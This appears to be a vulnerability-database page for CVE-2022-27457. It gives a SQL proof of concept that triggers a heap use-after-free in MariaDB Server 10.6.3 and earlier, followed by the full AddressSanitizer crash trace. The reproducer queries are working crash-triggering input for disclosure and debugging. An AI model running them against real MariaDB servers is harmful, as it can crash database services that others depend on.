Headline

CVE-2022-27457: [MDEV-28098] incorrect key in "dup value" error after long unique

MariaDB Server v10.6.3 and below was discovered to contain an use-after-free in the component my_mb_wc_latin1 at /strings/ctype-latin1.c.

2 years ago

CVE

Open in Source

#sql #linux

CREATE TABLE v0 ( v3 FLOAT PRIMARY KEY NULL , v2 TEXT UNIQUE NOT NULL , v1 INT UNIQUE ) ;

CREATE TABLE v4 ( v6 INT UNIQUE UNIQUE PRIMARY KEY UNIQUE , v5 TEXT , VALUE INT NOT NULL ) ;

INSERT INTO v0 VALUES ( -32768 , -128 , 58 ) , ( -1 , 44 , -128 ) ;

INSERT INTO v4 VALUES ( 50 , 61 , -1 ) , ( -2147483648 , -128 , 0 ) ;

UPDATE v0 AS v0 SET v2 = ( NOT ( ( v1 = 8 OR ‘x’ = -1 ) IS NULL ) ) , v3 = -128 ;

UPDATE v0 AS ONE NATURAL JOIN v4 SET v1 = v2 , v5 = 0 ;

UPDATE v4 NATURAL JOIN v0 VALUE SET v5 = v3 , v1 = 83 ;

UPDATE v0 SET v2 = ‘x’ * ‘x’ , v1 = -1 WHERE v3 IN ( 16 , 36 , NULL , 0 ) ;

=================================================================

==9471==ERROR: AddressSanitizer: heap-use-after-free on address 0x6290000c3288 at pc 0x000002b12085 bp 0x7fe334a243c0 sp 0x7fe334a243b8

READ of size 1 at 0x6290000c3288 thread T16

#0 0x2b12084 in my\_mb\_wc\_latin1 /root/mariadb/strings/ctype-latin1.c:376:18

#1 0x2bd45cb in my\_convert\_using\_func /root/mariadb/strings/ctype.c:1161:18

#2 0xb5b9b7 in err\_conv(char\*, unsigned int, char const\*, unsigned int, charset\_info\_st const\*) /root/mariadb/sql/sql\_error.cc:931:10

#3 0x1a06285 in ErrBuff::set\_str(char const\*, unsigned long, charset\_info\_st const\*) const /root/mariadb/sql/sql\_error.h:852:10

#4 0x1a06285 in ErrConvString::lex\_cstring() const /root/mariadb/sql/sql\_error.h:890:12

#5 0x1a06285 in field\_unpack(String\*, Field\*, unsigned char const\*, unsigned int, bool) /root/mariadb/sql/key.cc:396:20

#6 0x1a06d36 in key\_unpack(String\*, TABLE\*, st\_key\*) /root/mariadb/sql/key.cc:441:5

#7 0x15cfdc3 in print\_keydup\_error(TABLE\*, st\_key\*, char const\*, unsigned long) /root/mariadb/sql/handler.cc:4246:5

#8 0x15d2509 in print\_keydup\_error(TABLE\*, st\_key\*, unsigned long) /root/mariadb/sql/handler.cc:4269:3

#9 0x15d2509 in handler::print\_error(int, unsigned long) /root/mariadb/sql/handler.cc:4345:9

#10 0x100e249 in multi\_update::send\_data(List<Item>&) /root/mariadb/sql/sql\_update.cc:2688:18

#11 0xdb5094 in select\_result\_sink::send\_data\_with\_check(List<Item>&, st\_select\_lex\_unit\*, unsigned long long) /root/mariadb/sql/sql\_class.h:5612:12

#12 0xdb5094 in end\_send(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:22331:9

#13 0xe315ff in evaluate\_join\_record(JOIN\*, st\_join\_table\*, int) /root/mariadb/sql/sql\_select.cc:21325:11

#14 0xd4c13a in sub\_select(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:21095:9

#15 0xe315ff in evaluate\_join\_record(JOIN\*, st\_join\_table\*, int) /root/mariadb/sql/sql\_select.cc:21325:11

#16 0xd4c13a in sub\_select(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:21095:9

#17 0xdc6797 in do\_select(JOIN\*, Procedure\*) /root/mariadb/sql/sql\_select.cc:20640:14

#18 0xdc6797 in JOIN::exec\_inner() /root/mariadb/sql/sql\_select.cc:4749:50

#19 0xdc344c in JOIN::exec() /root/mariadb/sql/sql\_select.cc:4527:3

#20 0xd4e4e8 in mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*) /root/mariadb/sql/sql\_select.cc:5007:9

#21 0x1006042 in mysql\_multi\_update(THD\*, TABLE\_LIST\*, List<Item>\*, List<Item>\*, Item\*, unsigned long long, enum\_duplicates, bool, st\_select\_lex\_unit\*, st\_select\_lex\*, multi\_update\*\*) /root/mariadb/sql/sql\_update.cc:1968:8

#22 0xc682e9 in mysql\_execute\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:4486:12

#23 0xc4a67e in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /root/mariadb/sql/sql\_parse.cc:8027:18

#24 0xc41ba9 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /root/mariadb/sql/sql\_parse.cc:1894:7

#25 0xc4b74b in do\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:1402:17

#26 0x111f9f2 in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1418:11

#27 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#28 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#29 0x7fe35a9ff608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

#30 0x7fe35a715162 in clone /build/glibc-sMfBJT/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86\_64/clone.S:95

0x6290000c3288 is located 136 bytes inside of 16512-byte region [0x6290000c3200,0x6290000c7280)

freed by thread T16 here:

#0 0x80f732 in free (/usr/local/mysql/bin/mariadbd+0x80f732)

#1 0x243e1b8 in mem\_heap\_free(mem\_block\_info\_t\*) /root/mariadb/storage/innobase/include/mem0mem.inl:419:3

#2 0x243e1b8 in row\_mysql\_prebuilt\_free\_blob\_heap(row\_prebuilt\_t\*) /root/mariadb/storage/innobase/row/row0mysql.cc:101:2

#3 0x24b554c in row\_sel\_store\_mysql\_rec(unsigned char\*, row\_prebuilt\_t\*, unsigned char const\*, dtuple\_t const\*, bool, dict\_index\_t const\*, unsigned short const\*) /root/mariadb/storage/innobase/row/row0sel.cc:3109:3

#4 0x24afa37 in row\_search\_mvcc(unsigned char\*, page\_cur\_mode\_t, row\_prebuilt\_t\*, unsigned long, unsigned long) /root/mariadb/storage/innobase/row/row0sel.cc:5656:9

#5 0x21739c3 in ha\_innobase::index\_read(unsigned char\*, unsigned char const\*, unsigned int, ha\_rkey\_function) /root/mariadb/storage/innobase/handler/ha\_innodb.cc:8970:5

#6 0x15c539a in handler::ha\_rnd\_pos(unsigned char\*, unsigned char\*) /root/mariadb/sql/handler.cc:3425:3

#7 0x1002a33 in prepare\_record\_for\_error\_message(int, TABLE\*) /root/mariadb/sql/sql\_update.cc:304:23

#8 0x100e1fd in multi\_update::send\_data(List<Item>&) /root/mariadb/sql/sql\_update.cc:2687:5

#9 0xdb5094 in select\_result\_sink::send\_data\_with\_check(List<Item>&, st\_select\_lex\_unit\*, unsigned long long) /root/mariadb/sql/sql\_class.h:5612:12

#10 0xdb5094 in end\_send(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:22331:9

#11 0xe315ff in evaluate\_join\_record(JOIN\*, st\_join\_table\*, int) /root/mariadb/sql/sql\_select.cc:21325:11

#12 0xd4c13a in sub\_select(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:21095:9

#13 0xe315ff in evaluate\_join\_record(JOIN\*, st\_join\_table\*, int) /root/mariadb/sql/sql\_select.cc:21325:11

#14 0xd4c13a in sub\_select(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:21095:9

#15 0xdc6797 in do\_select(JOIN\*, Procedure\*) /root/mariadb/sql/sql\_select.cc:20640:14

#16 0xdc6797 in JOIN::exec\_inner() /root/mariadb/sql/sql\_select.cc:4749:50

#17 0xdc344c in JOIN::exec() /root/mariadb/sql/sql\_select.cc:4527:3

#18 0xd4e4e8 in mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*) /root/mariadb/sql/sql\_select.cc:5007:9

#19 0x1006042 in mysql\_multi\_update(THD\*, TABLE\_LIST\*, List<Item>\*, List<Item>\*, Item\*, unsigned long long, enum\_duplicates, bool, st\_select\_lex\_unit\*, st\_select\_lex\*, multi\_update\*\*) /root/mariadb/sql/sql\_update.cc:1968:8

#20 0xc682e9 in mysql\_execute\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:4486:12

#21 0xc4a67e in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /root/mariadb/sql/sql\_parse.cc:8027:18

#22 0xc41ba9 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /root/mariadb/sql/sql\_parse.cc:1894:7

#23 0xc4b74b in do\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:1402:17

#24 0x111f9f2 in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1418:11

#25 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#26 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#27 0x7fe35a9ff608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

previously allocated by thread T16 here:

#0 0x80f99d in malloc (/usr/local/mysql/bin/mariadbd+0x80f99d)

#1 0x215c51e in ut\_allocator<unsigned char, true>::allocate(unsigned long, unsigned char const\*, unsigned int, bool, bool) /root/mariadb/storage/innobase/include/ut0new.h:375:11

#2 0x2301754 in mem\_heap\_create\_block\_func(mem\_block\_info\_t\*, unsigned long, unsigned long) /root/mariadb/storage/innobase/mem/mem0mem.cc:277:37

#3 0x24be2fc in mem\_heap\_create\_func(unsigned long, unsigned long) /root/mariadb/storage/innobase/include/mem0mem.inl:377:10

#4 0x24be2fc in row\_sel\_store\_mysql\_field(unsigned char\*, row\_prebuilt\_t\*, unsigned char const\*, dict\_index\_t const\*, unsigned short const\*, unsigned long, mysql\_row\_templ\_t const\*) /root/mariadb/storage/innobase/row/row0sel.cc:3050:27

#5 0x24b4ea9 in row\_sel\_store\_mysql\_rec(unsigned char\*, row\_prebuilt\_t\*, unsigned char const\*, dtuple\_t const\*, bool, dict\_index\_t const\*, unsigned short const\*) /root/mariadb/storage/innobase/row/row0sel.cc:3196:8

#6 0x24afa37 in row\_search\_mvcc(unsigned char\*, page\_cur\_mode\_t, row\_prebuilt\_t\*, unsigned long, unsigned long) /root/mariadb/storage/innobase/row/row0sel.cc:5656:9

#7 0x21739c3 in ha\_innobase::index\_read(unsigned char\*, unsigned char const\*, unsigned int, ha\_rkey\_function) /root/mariadb/storage/innobase/handler/ha\_innodb.cc:8970:5

#8 0x2174d99 in ha\_innobase::index\_first(unsigned char\*) /root/mariadb/storage/innobase/handler/ha\_innodb.cc:9339:14

#9 0x2174d99 in ha\_innobase::rnd\_next(unsigned char\*) /root/mariadb/storage/innobase/handler/ha\_innodb.cc:9432:11

#10 0x15c44c3 in handler::ha\_rnd\_next(unsigned char\*) /root/mariadb/sql/handler.cc:3393:5

#11 0x930064 in rr\_sequential(READ\_RECORD\*) /root/mariadb/sql/records.cc:519:35

#12 0xd4c04d in sub\_select(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:21092:12

#13 0xdc6797 in do\_select(JOIN\*, Procedure\*) /root/mariadb/sql/sql\_select.cc:20640:14

#14 0xdc6797 in JOIN::exec\_inner() /root/mariadb/sql/sql\_select.cc:4749:50

#15 0xdc344c in JOIN::exec() /root/mariadb/sql/sql\_select.cc:4527:3

#16 0xd4e4e8 in mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*) /root/mariadb/sql/sql\_select.cc:5007:9

#17 0x1006042 in mysql\_multi\_update(THD\*, TABLE\_LIST\*, List<Item>\*, List<Item>\*, Item\*, unsigned long long, enum\_duplicates, bool, st\_select\_lex\_unit\*, st\_select\_lex\*, multi\_update\*\*) /root/mariadb/sql/sql\_update.cc:1968:8

#18 0xc682e9 in mysql\_execute\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:4486:12

#19 0xc4a67e in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /root/mariadb/sql/sql\_parse.cc:8027:18

#20 0xc41ba9 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /root/mariadb/sql/sql\_parse.cc:1894:7

#21 0xc4b74b in do\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:1402:17

#22 0x111f9f2 in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1418:11

#23 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#24 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#25 0x7fe35a9ff608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

Thread T16 created by T0 here:

#0 0x7f9cfc in pthread\_create (/usr/local/mysql/bin/mariadbd+0x7f9cfc)

#1 0x1f3fd39 in my\_thread\_create(unsigned long\*, pthread\_attr\_t const\*, void\* (\*)(void\*), void\*) /root/mariadb/storage/perfschema/my\_thread.h:52:10

#2 0x1f3fd39 in pfs\_spawn\_thread\_v1 /root/mariadb/storage/perfschema/pfs.cc:2252:15

#3 0x85cef4 in inline\_mysql\_thread\_create(unsigned int, unsigned long\*, pthread\_attr\_t const\*, void\* (\*)(void\*), void\*) /root/mariadb/include/mysql/psi/mysql\_thread.h:1139:11

#4 0x85cef4 in create\_thread\_to\_handle\_connection(CONNECT\*) /root/mariadb/sql/mysqld.cc:5975:19

#5 0x85e72a in create\_new\_thread(CONNECT\*) /root/mariadb/sql/mysqld.cc:6034:3

#6 0x85e72a in handle\_accepted\_socket(st\_mysql\_socket, st\_mysql\_socket) /root/mariadb/sql/mysqld.cc:6096:5

#7 0x85a34c in handle\_connections\_sockets() /root/mariadb/sql/mysqld.cc:6220:9

#8 0x84e9ef in mysqld\_main(int, char\*\*) /root/mariadb/sql/mysqld.cc:5870:3

#9 0x7fe35a61a0b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-use-after-free /root/mariadb/strings/ctype-latin1.c:376:18 in my_mb_wc_latin1

Shadow bytes around the buggy address:

0x0c5280010600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5280010610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5280010620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5280010630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5280010640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

=>0x0c5280010650: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c5280010660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c5280010670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c5280010680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c5280010690: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

0x0c52800106a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00

Partially addressable: 01 02 03 04 05 06 07

Heap left redzone: fa

Freed heap region: fd

Stack left redzone: f1

Stack mid redzone: f2

Stack right redzone: f3

Stack after return: f5

Stack use after scope: f8

Global redzone: f9

Global init order: f6

Poisoned by user: f7

Container overflow: fc

Array cookie: ac

Intra object redzone: bb

ASan internal: fe

Left alloca redzone: ca

Right alloca redzone: cb

Shadow gap: cc

==9471==ABORTING

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